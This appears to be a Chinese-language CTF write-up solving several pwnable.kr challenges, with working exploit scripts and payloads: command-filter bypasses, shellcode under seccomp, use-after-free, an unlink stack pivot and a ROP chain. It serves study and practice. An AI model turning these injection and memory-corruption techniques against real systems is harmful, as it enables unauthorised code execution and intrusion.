由于有些题是以前做的,代码弄丢了,就不记录了。
blackjack
21点游戏,目标是赢到100w :)
正常玩的话很难赢到这么多,所以找漏洞,发现下面的代码存在逻辑问题
void stay() //Function for when user selects 'Stay'
{
dealer(); //If stay selected, dealer continues going
if(dealer_total>=17)
{
if(player_total>=dealer_total) //If player's total is more than dealer's total, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(player_total21) //If dealer's total is more than 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
else
{
stay();
}
}
当你输掉的时候,直接将你的cash - bet,那如果bet是负数,接下来只要输了就能赚,所以直接下注-100w,拿到flag:
cmd1
#include
#include
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
把程序参数直接执行,要求参数中不能出现"flag","sh","tmp"。
第一个想法是编码,因为flag肯定是要出现在命令中的,避免不了
想到用python,这里注意环境变量PATH被改成了“/thankyouverymuch”,因此调用python的时候需要用绝对路径"/bin/python"
payload:
./cmd1 "/usr/bin/python -c 'from base64 import b64decode;import os;os.system(b64decode(\"L2Jpbi9jYXQgZmxhZw==\"))'"
cmd2
#include
#include
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
这一题比上一题的过滤规则更严了,限制了"/",因此无法直接使用绝对路径,这就意味着无法调用任何程序来解码,上一题的解法就不能用了。
也想过将命令写到/tmp/exp中后执行,但是无法绕过"/"的限制。
最后看到了p4nda的解法,巧妙绕过“/”的限制:
echo "/bin/cat /home/cmd2/flag" > /tmp/exp
/home/cmd2/cmd2 '$(pwd)tmp$(pwd)exp'
这种方法使用$(pwd)命令来绕过“/”的限制,奇怪的是,这题的环境变量PATH被修改为"/no_command_execution_until_you_become_a_hacker",照理说pwd应该也是不能执行的,查了一下发现:
The command is a shell builtin in most Unix shells such as Bourne shell, ash, bash, ksh, and zsh. It can be implemented easily with the POSIX C functions getcwd() or getwd(). ---维基百科
而所谓的“shell builtin”就是和shell代码一起被实现的功能,不需要借助外部的程序,比如/bin/pwd,因此不受环境变量影响。用compgen -b命令可以看到shell内置的所有函数:
cmd2@prowl:~$ compgen -b
. : [ alias bg bind break builtin caller cd command compgen
complete compopt continue declare dirs disown echo enable eval exec exit export
false fc fg getopts hash help history jobs kill let local logout mapfile popd printf
pushd pwd read readarray readonly return set shift shopt source suspend test times
trap true type typeset ulimit umask unalias unset wait
uaf
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
比较典型的“use after free”。
首先使用功能3,free掉m,w占用的堆块,此时堆块进入fastbin,布局如下:
可以看到有四个堆块,每两个分别对应m和w变量。(注意我这是64位ubuntu18的调试结果,和目标服务器系统版本不一样,不过思路是一样的)
接下使用功能2,申请相同大小的堆块,覆盖堆块中的introduce函数虚表地址为give_shell在虚表中的地址。
最后使用功能1,就可以get_shell了。
memcpy
远程连接服务器,按照要求输入对应大小后,会出现运行到一半程序挂掉的情况。
这题没有提供二进制程序,所以只好自己编译调试,我直接用的是gcc memcpy.c -o memcpy -lm
命令。我这自己编译运行的程序可以正常运行到最后,在服务器上编译运行的也可以正常运行完成。不知道怎么获取正在监听端口的程序,就不知道这题怎么搞。猜测应该是题目有了改动,以前的题解可以参考p4nda的博客。
asm
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
这题就是让写shellcode,但是用seccomp限制了系统调用:
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
所以只能用open,read,write,因此shellcode的功能只需要先打开flag文件,将flag读入内存,再向标准输出写入即可。shellcode的编写,一般使用nasm语法编写,再编译成二进制文件,最后用objcopy读出代码段的字节码。pwntools将objdump和objcopy封装在了shellcraft函数中,极大方便了shellcode的开发:
# coding:utf-8
from pwn import *
con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = ""
shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()
unlink
#include
#include
#include
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;//*(FD + 4) = BK
BK->fd=FD;//*(BK) = FD
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
这题是作者自己实现的不带检查的unlink,给了程序运行时的堆栈地址,一开始的思路是利用unlink修改返回地址为shell()函数的地址,但是由于unlink时需要执行(FD+4) = BK和(BK) = FD,因此不论我们通过哪一条指令写入一个代码段地址,都将在另一个指令上造成修改代码段的情况,而由于没有运行时修改代码段的权限,会导致程序崩溃,因此此法不通。
这题也不存在直接写got表或者shellcode的解决方法。
苦思无果,求助p4nda的博客,发现在main函数返回时前存在这样的汇编语句:
call unlink
add esp, 10h
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
也就是说最终esp的值是由[ebp+var_4]的值决定的,而retn执行的是pop eip,因此如果我们能够控制ecx的值,就能够劫持栈到我们想要的任何地方。因此,把栈劫持到事先布置好的堆上(如前所示,我们已经知道堆地址),就能执行shell()函数:
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
io = process("./unlink")
io.recvuntil("here is stack address leak: ")
stack_addr = io.recvline().strip("\n")
io.recvuntil("here is heap address leak: ")
heap_addr = io.recvline().strip("\n")
heap_addr = int(heap_addr,16)
stack_addr = int(stack_addr,16)
print("[+]leak stackaddr :0x%x"%stack_addr)
print("[+]leak heap address: 0x%x"%heap_addr)
target_addr = stack_addr + 0x10 - 4
shell_addr = 0x080484eb
payload = p32(shell_addr)*4
payload += p32(target_addr) + p32(heap_addr + 12)
io.sendline(payload)
io.interactive()
至于为什么main函数返回前会出现这样的指令,猜测应该是编译器优化有关。
blukat
#include
#include
#include
#include
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int I;
for(i=0; i
这题看了半天不知道漏洞在哪,后来实在无法,只能从文件权限上找问题,发现:
居然可以直接读password文件,但是这个作者有点坏,直接cat password的话会显示:
cat: flag: No such file or directory
但是实际上这就是这个password文件的内容。。。。用vi就能看到了。输入password就能拿到flag了。
horcruxes
简单rop,泄露出所有的魂器值,本地相加后就得到了sum值,之后就能打败伏地魔啦:)
需要注意的是,魂器值相加可能会超出四字节整型数的表数范围导致结果不对,因此本exp需要多次尝试。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
#io = process("./horcruxes")
io = remote("pwnable.kr",9032)
a = 0x0809FE4B
b = 0x0809FE6A
c = 0x0809FE89
d = 0x809FEA8
e = 0x809FEC7
f = 0x0809FEE6
g = 0x0809FF05
call_ropme = 0x0809FFFC
io.recvuntil("Select Menu:")
io.sendline("1")
payload = "0" * 120 + p32(a) + p32(b) + p32(c) + p32(d) + p32(e) + p32(f) + p32(g) + p32(call_ropme)
io.sendline(payload)
t = []
for i in range(7):
io.recvuntil("(EXP +")
t.append(io.recvuntil(")").strip(")"))
t = [int(x) for x in t]
s = 0
print t
for i in t:
s += i
io.sendline("1")
#gdb.attach(io)
io.sendline(str(s))
io.interactive()